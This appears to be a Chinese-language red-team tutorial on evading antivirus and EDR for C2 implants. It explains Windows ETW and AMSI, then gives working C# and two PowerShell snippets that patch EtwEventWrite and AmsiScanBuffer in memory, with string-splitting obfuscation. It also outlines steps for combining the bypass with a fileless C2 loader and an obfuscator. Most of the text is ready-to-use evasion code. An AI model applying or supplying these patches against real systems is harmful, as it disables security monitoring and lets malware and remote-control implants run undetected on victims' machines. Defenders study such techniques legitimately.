免杀对抗-C2远控篇&PowerShell&C#&对抗AV-EDR&停用AMSI接口&阻断ETW跟踪&调用
➢ C2远控-PowerShell&C#-Bypass ETW
➢ C2远控-PowerShell&C#-Bypass AMSI
➢C2远控-PowerShell&C#-Bypass ETW
Windows事件跟踪(ETW)提供了一种机制来跟踪和记录由用户模式应用程序和内核模式驱动程序引发的事件,Windows威胁情报事件跟踪还提供来自内核的跟踪,并允许以各种方式使用这些跟踪。BlueTeam 如何检测.NET的恶意执行,它通过诸如execute-
assembly .我们的工具包被曝光。在红队测试工具 [Cobalt Strike]有个功能,叫做 [execute_assembly],能够从内存中加载.NET程序集。这个功能不需要向硬盘写入文件,十分隐蔽,而且现有的Powershell利用脚本能够很容易的转换为C#代码,十分方便。简单来说就是它会在 Process 中执行 .NET Assemblies。原理是通过系统提供的API( ICLRMetaHost[、]达到将 CLR 载入的效果。
Bypass:主要应用在EDR对抗
对ntdll.dll进行观察导出函数EtwEventWrite,把第一个指令修改成ret阻断。
1、powershell
2、ShellCode
public static void etw()
{
try
{
IntPtr Library = LoadLibrary("n" + "t" + "d" + "l" + "l" + ".dll");
IntPtr Address = GetProcAddress(Library, "Etw" + "Event" + "Write");
uint oldProtect;
bool protectResult = VirtualProtect(Address, (UIntPtr)1, 0x40, out oldProtect);
Byte[] Patch = { 0xC3 }; // RET 指令
Marshal.Copy(Patch, 0, Address, Patch.Length);
Console.WriteLine("ETW Patch Applied");
}
catch (Exception ex)
{
Console.WriteLine("Exception occurred: " + ex.Message);
}
}
➢C2远控-PowerShell&C#-Bypass AMSI
许多内网场景或处于红队评估的渗透测试者很可能遇到过AMSI并且熟悉它的功能。
AMSI增强了对攻击期间常用的一些现代工具、策略和程序(TTP)的使用保护,因为它提高了反恶意软件产品的可见性。最相关的例子是 PowerShell 无文件加载,它已被一些APT组织和恶意软件制作商广泛研究。如今越来越多的防病毒厂商正在接入AMSI防病毒接口,因此在当下,如何去规避AMSI,成为红队渗透测试者不可避免的话题。
如前所述,AMSI 允许服务和应用程序与已安装的反恶意软件进行通信。当系统中开始创建进程或者被申请内存,AMSI 就会处于挂钩状态,例如,Windows 脚本主机(WSH) 和PowerShell,以便对正在执行的内容进行去混淆处理和分析。此内容在执行之前被“捕获”并发送到反恶意软件解决方案。
AMSI-Windowsxx版本后提供的自带的反病毒接口,对于以下操作会进行检查(其中国外杀毒,各种EDR集成接口调用),如果渗透中要用到这些操作功能就会受到检测,所以我们要尝试阻断绕过AMSI,其中检测的函数封装在amsi.dll->AmsiScanBuffer故amsi.dll中AmsiScanBuffer()函数尝试运行时让其直接返回0失效。
这是在 Windows 10上实现AMSI的所有组件的列表:
用户帐户控制或UAC(EXE、COM、MSI或ActiveX安装的提升)、
PowerShell(脚本、交互式使用和动态代码评估)、
Windows 脚本宿主(wscript.exe 和 cscript.exe)、
JavaScript 和VBScript Office VBA 宏
认识PowerShell Amsi
1、Process Hacker看加载
2、x64_dbg 看amsi.dll->AmsiScanBuffer
绕过方法:
-阻断amsi.dll中AmsiScanBuffer()函数
-代码进行混淆,利用拆分替换混淆加密等方法
1、生成不落地上线代码
2、上线代码加上阻断代码
3、进行冷门混淆器打乱特征
PowerShell V1阻断代码:
#导入windowsAPI
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
#通过修补AmsiScanBuffer的功能来阻断amsi.dll的扫描进程
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
PowerShell V2阻断代码:
function get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}
function get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
function Invoke-AMZZ {
$ppruhu = get_proc_address amsi.dll "AmsiScanBuffer"
$virpro = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((get_proc_address kernel32.dll VirtualProtect),(get_delegate_type (@([System.IntPtr], [System.UIntPtr], [System.UInt32], [System.UInt32].MakeByRefType())) ([System.Boolean])));$p = 0
$virpro.Invoke($ppruhu, [UInt32]5, 0x40, [ref]$p)
$scnfh = @([Byte] 0xB8, [Byte] 0x57, [Byte] 0x00,[Byte] 0x07, [Byte] 0x80, [Byte] 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($scnfh, 0, $ppruhu, 6)
}
Invoke-AMZZ
C#阻断代码:
// 此方法通过修改AmsiScanBuffer函数来bypass AMSI检测。
public static void chaching()
{
// 加载amsi.dll
IntPtr Library = LoadLibrary("a" + "m" + "s" + "i" + ".dll");
// 获取AmsiScanBuffer函数的地址
IntPtr Address = GetProcAddress(Library, "Amsi" + "Scan" + "Buffer");
uint p;
// 修改AmsiScanBuffer函数的内存保护属性
VirtualProtect(Address, (UIntPtr)5, 0x40, out p);
// 准备新的函数字节码
Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
// 将新的函数字节码复制到AmsiScanBuffer函数的地址
copy(Patch, Address);
Console.WriteLine("Patch Applied");
}